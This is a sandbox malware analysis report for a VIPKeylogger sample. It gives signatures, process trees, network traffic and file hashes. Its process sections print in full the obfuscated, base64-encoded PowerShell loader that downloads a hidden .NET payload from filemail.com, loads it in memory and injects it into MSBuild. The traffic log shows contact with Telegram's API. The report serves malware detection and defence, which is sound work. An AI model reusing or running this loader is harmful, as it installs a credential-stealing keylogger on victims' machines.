Malware Analysis Report

2024-12-07 14:13

Sample ID 241114-sq6yasvjgk
Target 4.7z
SHA256 48bb30fd0e12538f0e4fd35cfec2417a16902e1ef49f32b26bdd7a51344b324a
Tags
execution vipkeylogger collection discovery keylogger stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

48bb30fd0e12538f0e4fd35cfec2417a16902e1ef49f32b26bdd7a51344b324a

Threat Level: Known bad

The file 4.7z was found to be: Known bad.

Malicious Activity Summary

execution vipkeylogger collection discovery keylogger stealer

Vipkeylogger family

VIPKeylogger

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Looks up external IP address via web service

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

Enumerates physical storage devices

Browser Information Discovery

System Location Discovery: System Language Discovery

outlook_office_path

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

outlook_win_path

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-14 15:20

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-14 15:20

Reported

2024-11-14 15:23

Platform

win7-20241023-en

Max time kernel

117s

Max time network

117s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdKMFFpbWFnZVVybCA9IEk5Ymh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXJysnbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDJysnNlNRdCcrJ0ljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgSTliO0owUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SjBRaW1hZ2VCeScrJ3RlcyA9IEonKycwUXdlYkNsaWVudC5EJysnb3dubG9hZERhdGEoSjBRaW1hZ2VVcmwpO0owUWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEowUWltYScrJ2dlQnl0ZXMpO0owUXN0YScrJ3J0RmxhZyA9IEk5Yjw8QkFTRTYnKyc0X1MnKydUQVJUPj5JOWI7SjBRZW5kRmxhZyA9IEk5Yjw8QkFTRTY0X0VORD4+STliO0owUXN0YXJ0SW5kZXggPSBKMFEnKydpJysnbWFnZVRleHQuSW5kZXhPZihKMFFzdGFyJysndEZsYWcpOycrJ0owUWVuZEluZGV4ID0gSjBRaW1hZ2VUZXh0LkluZGV4T2YoSjBRZW5kRmxhZyk7SjBRc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIEowUWVuZEluZGV4IC1ndCBKMFFzdGFydEluZGV4O0owUXN0YXJ0SW5kZXgnKycgKz0gSjBRc3RhcnRGbGFnLkxlbmd0aDtKMFFiYXNlNjRMZW5ndGggPSBKMFFlbmRJbmRleCAtIEowUXN0YXJ0SW5kZXg7SjBRYicrJ2FzZTY0Q29tbWFuZCA9IEowUWltYWdlVGV4dC5TdWJzdHJpbmcnKycoSjBRc3RhcnRJbmRleCwgSjBRYmFzZTY0TGVuZ3RoKTtKMFFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChKMFFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgRW04IEZvckVhY2gtT2JqZWN0IHsgSjBRXyB9KVstMS4uLShKMFFiYXNlNjRDb21tYW5kLkxlbmd0aCldO0owUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSjBRYmFzZTY0UmV2ZXJzZWQpO0owUWxvYScrJ2RlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChKMFFjb21tYW5kQnl0ZXMpO0owUXZhaU1ldGhvZCAnKyc9IFtkbicrJ2xpYi5JTy5Ib21lXS5HZXRNZXRob2QoSTliVkFJSTliKTtKMFF2YWlNZXRob2QuSW52b2tlKEowUW51bGwsIEAoSTlidHh0LmNlYS92ZWQuMnIuZDQzOGY3MScrJzU1Y2M2ZWVhOTJkMTRlNjA3NycrJzM3MjgxYzQtYnVwLy86c3B0dGhJOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5Yk1TQnVpbGRJOWIsIEk5YmRlc2F0aXYnKydhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdmFkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdicrJ2Fkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YjFJOWIsSTliZGVzYXRpdmFkb0k5YikpOycpLlJlUGxBQ2UoJ0owUScsW1N0UmlOZ11bY2hhcl0zNikuUmVQbEFDZSgnSTliJyxbU3RSaU5nXVtjaGFyXTM5KS5SZVBsQUNlKChbY2hhcl02OStbY2hhcl0xMDkrW2NoYXJdNTYpLFtTdFJpTmddW2NoYXJdMTI0KXxJRXg=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('J0QimageUrl = I9bhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bW'+'o9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC'+'6SQt'+'IcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f I9b;J0QwebClient = New-Object System.Net.WebClient;J0QimageBy'+'tes = J'+'0QwebClient.D'+'ownloadData(J0QimageUrl);J0QimageText = [System.Text.Encoding]::UTF8.GetString(J0Qima'+'geBytes);J0Qsta'+'rtFlag = I9b<<BASE6'+'4_S'+'TART>>I9b;J0QendFlag = I9b<<BASE64_END>>I9b;J0QstartIndex = J0Q'+'i'+'mageText.IndexOf(J0Qstar'+'tFlag);'+'J0QendIndex = J0QimageText.IndexOf(J0QendFlag);J0QstartIndex -ge 0 -an'+'d J0QendIndex -gt J0QstartIndex;J0QstartIndex'+' += J0QstartFlag.Length;J0Qbase64Length = J0QendIndex - J0QstartIndex;J0Qb'+'ase64Command = J0QimageText.Substring'+'(J0QstartIndex, J0Qbase64Length);J0Qbase64Reversed = -join (J0Qbase64Command.ToCharArray() Em8 ForEach-Object { J0Q_ })[-1..-(J0Qbase64Command.Length)];J0QcommandBytes = [System.Convert]::FromBase64String(J0Qbase64Reversed);J0Qloa'+'dedAs'+'sembly = [System.Reflection.Assembly]::Load(J0QcommandBytes);J0QvaiMethod '+'= [dn'+'lib.IO.Home].GetMethod(I9bVAII9b);J0QvaiMethod.Invoke(J0Qnull, @(I9btxt.cea/ved.2r.d438f71'+'55cc6eea92d14e6077'+'37281c4-bup//:sptthI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bMSBuildI9b, I9bdesativ'+'adoI9b, I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativ'+'adoI9b,I9bdesativadoI9b,I9b1I9b,I9bdesativadoI9b));').RePlACe('J0Q',[StRiNg][char]36).RePlACe('I9b',[StRiNg][char]39).RePlACe(([char]69+[char]109+[char]56),[StRiNg][char]124)|IEx"

Network

Country Destination Domain Proto
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 142.215.209.78:443 1017.filemail.com tcp

Files

memory/3000-4-0x000007FEF56AE000-0x000007FEF56AF000-memory.dmp

memory/3000-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

memory/3000-6-0x0000000001E80000-0x0000000001E88000-memory.dmp

memory/3000-7-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp

memory/3000-13-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DBFO038ALMWJ0W3PPF7K.temp

MD5 8ecd445442bed75f23156d22f4b2bba8
SHA1 ef7965f55ce01ef88109e7bf4bf58dbb2cb66295
SHA256 e93abfad2e89f42b8a38c6370751a4a3fa8d287c31bfaf57756187011fe1dd08
SHA512 a9d7e4cb36d007d5f6599c98a08042ac940b76ca5dbe08df6cc7546a635b283c0db495010ee51274ef897e37aaf667c03a7c2dd80437a2b93ebafab25de1f12c

memory/3000-14-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-14 15:20

Reported

2024-11-14 15:23

Platform

win10v2004-20241007-en

Max time kernel

116s

Max time network

147s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"

Signatures

VIPKeylogger

stealer keylogger vipkeylogger

Vipkeylogger family

vipkeylogger

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 456 set thread context of 2940 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3168 wrote to memory of 4572 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3168 wrote to memory of 4572 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4572 wrote to memory of 456 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4572 wrote to memory of 456 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 456 wrote to memory of 2940 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 456 wrote to memory of 2940 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 456 wrote to memory of 2940 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 456 wrote to memory of 2940 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 456 wrote to memory of 2940 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 456 wrote to memory of 2940 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 456 wrote to memory of 2940 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 456 wrote to memory of 2940 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdKMFFpbWFnZVVybCA9IEk5Ymh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXJysnbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDJysnNlNRdCcrJ0ljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgSTliO0owUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SjBRaW1hZ2VCeScrJ3RlcyA9IEonKycwUXdlYkNsaWVudC5EJysnb3dubG9hZERhdGEoSjBRaW1hZ2VVcmwpO0owUWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEowUWltYScrJ2dlQnl0ZXMpO0owUXN0YScrJ3J0RmxhZyA9IEk5Yjw8QkFTRTYnKyc0X1MnKydUQVJUPj5JOWI7SjBRZW5kRmxhZyA9IEk5Yjw8QkFTRTY0X0VORD4+STliO0owUXN0YXJ0SW5kZXggPSBKMFEnKydpJysnbWFnZVRleHQuSW5kZXhPZihKMFFzdGFyJysndEZsYWcpOycrJ0owUWVuZEluZGV4ID0gSjBRaW1hZ2VUZXh0LkluZGV4T2YoSjBRZW5kRmxhZyk7SjBRc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIEowUWVuZEluZGV4IC1ndCBKMFFzdGFydEluZGV4O0owUXN0YXJ0SW5kZXgnKycgKz0gSjBRc3RhcnRGbGFnLkxlbmd0aDtKMFFiYXNlNjRMZW5ndGggPSBKMFFlbmRJbmRleCAtIEowUXN0YXJ0SW5kZXg7SjBRYicrJ2FzZTY0Q29tbWFuZCA9IEowUWltYWdlVGV4dC5TdWJzdHJpbmcnKycoSjBRc3RhcnRJbmRleCwgSjBRYmFzZTY0TGVuZ3RoKTtKMFFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChKMFFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgRW04IEZvckVhY2gtT2JqZWN0IHsgSjBRXyB9KVstMS4uLShKMFFiYXNlNjRDb21tYW5kLkxlbmd0aCldO0owUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSjBRYmFzZTY0UmV2ZXJzZWQpO0owUWxvYScrJ2RlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChKMFFjb21tYW5kQnl0ZXMpO0owUXZhaU1ldGhvZCAnKyc9IFtkbicrJ2xpYi5JTy5Ib21lXS5HZXRNZXRob2QoSTliVkFJSTliKTtKMFF2YWlNZXRob2QuSW52b2tlKEowUW51bGwsIEAoSTlidHh0LmNlYS92ZWQuMnIuZDQzOGY3MScrJzU1Y2M2ZWVhOTJkMTRlNjA3NycrJzM3MjgxYzQtYnVwLy86c3B0dGhJOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5Yk1TQnVpbGRJOWIsIEk5YmRlc2F0aXYnKydhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdmFkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdicrJ2Fkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YjFJOWIsSTliZGVzYXRpdmFkb0k5YikpOycpLlJlUGxBQ2UoJ0owUScsW1N0UmlOZ11bY2hhcl0zNikuUmVQbEFDZSgnSTliJyxbU3RSaU5nXVtjaGFyXTM5KS5SZVBsQUNlKChbY2hhcl02OStbY2hhcl0xMDkrW2NoYXJdNTYpLFtTdFJpTmddW2NoYXJdMTI0KXxJRXg=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('J0QimageUrl = I9bhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bW'+'o9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC'+'6SQt'+'IcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f I9b;J0QwebClient = New-Object System.Net.WebClient;J0QimageBy'+'tes = J'+'0QwebClient.D'+'ownloadData(J0QimageUrl);J0QimageText = [System.Text.Encoding]::UTF8.GetString(J0Qima'+'geBytes);J0Qsta'+'rtFlag = I9b<<BASE6'+'4_S'+'TART>>I9b;J0QendFlag = I9b<<BASE64_END>>I9b;J0QstartIndex = J0Q'+'i'+'mageText.IndexOf(J0Qstar'+'tFlag);'+'J0QendIndex = J0QimageText.IndexOf(J0QendFlag);J0QstartIndex -ge 0 -an'+'d J0QendIndex -gt J0QstartIndex;J0QstartIndex'+' += J0QstartFlag.Length;J0Qbase64Length = J0QendIndex - J0QstartIndex;J0Qb'+'ase64Command = J0QimageText.Substring'+'(J0QstartIndex, J0Qbase64Length);J0Qbase64Reversed = -join (J0Qbase64Command.ToCharArray() Em8 ForEach-Object { J0Q_ })[-1..-(J0Qbase64Command.Length)];J0QcommandBytes = [System.Convert]::FromBase64String(J0Qbase64Reversed);J0Qloa'+'dedAs'+'sembly = [System.Reflection.Assembly]::Load(J0QcommandBytes);J0QvaiMethod '+'= [dn'+'lib.IO.Home].GetMethod(I9bVAII9b);J0QvaiMethod.Invoke(J0Qnull, @(I9btxt.cea/ved.2r.d438f71'+'55cc6eea92d14e6077'+'37281c4-bup//:sptthI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bMSBuildI9b, I9bdesativ'+'adoI9b, I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativ'+'adoI9b,I9bdesativadoI9b,I9b1I9b,I9bdesativadoI9b));').RePlACe('J0Q',[StRiNg][char]36).RePlACe('I9b',[StRiNg][char]39).RePlACe(([char]69+[char]109+[char]56),[StRiNg][char]124)|IEx"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 8.8.8.8:53 78.209.215.142.in-addr.arpa udp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 pub-4c182737706e41d29aee6cc5517f834d.r2.dev udp
US 172.66.0.235:443 pub-4c182737706e41d29aee6cc5517f834d.r2.dev tcp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 235.0.66.172.in-addr.arpa udp
US 8.8.8.8:53 checkip.dyndns.org udp
DE 193.122.6.168:80 checkip.dyndns.org tcp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 104.21.67.152:443 reallyfreegeoip.org tcp
US 8.8.8.8:53 168.6.122.193.in-addr.arpa udp
US 8.8.8.8:53 152.67.21.104.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 65.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 101.210.23.2.in-addr.arpa udp

Files

memory/4572-0-0x00007FFB29E63000-0x00007FFB29E65000-memory.dmp

memory/4572-1-0x00000244F96E0000-0x00000244F9702000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ueqbwo4.scj.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4572-11-0x00007FFB29E60000-0x00007FFB2A921000-memory.dmp

memory/4572-12-0x00007FFB29E60000-0x00007FFB2A921000-memory.dmp

memory/4572-22-0x00007FFB29E60000-0x00007FFB2A921000-memory.dmp

memory/456-23-0x000001CAFB840000-0x000001CAFB998000-memory.dmp

memory/2940-24-0x0000000000400000-0x0000000000448000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 50a8221b93fbd2628ac460dd408a9fc1
SHA1 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
SHA512 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

memory/4572-30-0x00007FFB29E60000-0x00007FFB2A921000-memory.dmp

memory/2940-31-0x0000000005920000-0x0000000005EC4000-memory.dmp

memory/2940-32-0x0000000005410000-0x00000000054AC000-memory.dmp

memory/2940-33-0x00000000068A0000-0x0000000006A62000-memory.dmp

memory/2940-34-0x0000000006720000-0x0000000006770000-memory.dmp

memory/2940-35-0x0000000006A70000-0x0000000006B02000-memory.dmp

memory/2940-36-0x0000000006820000-0x000000000682A000-memory.dmp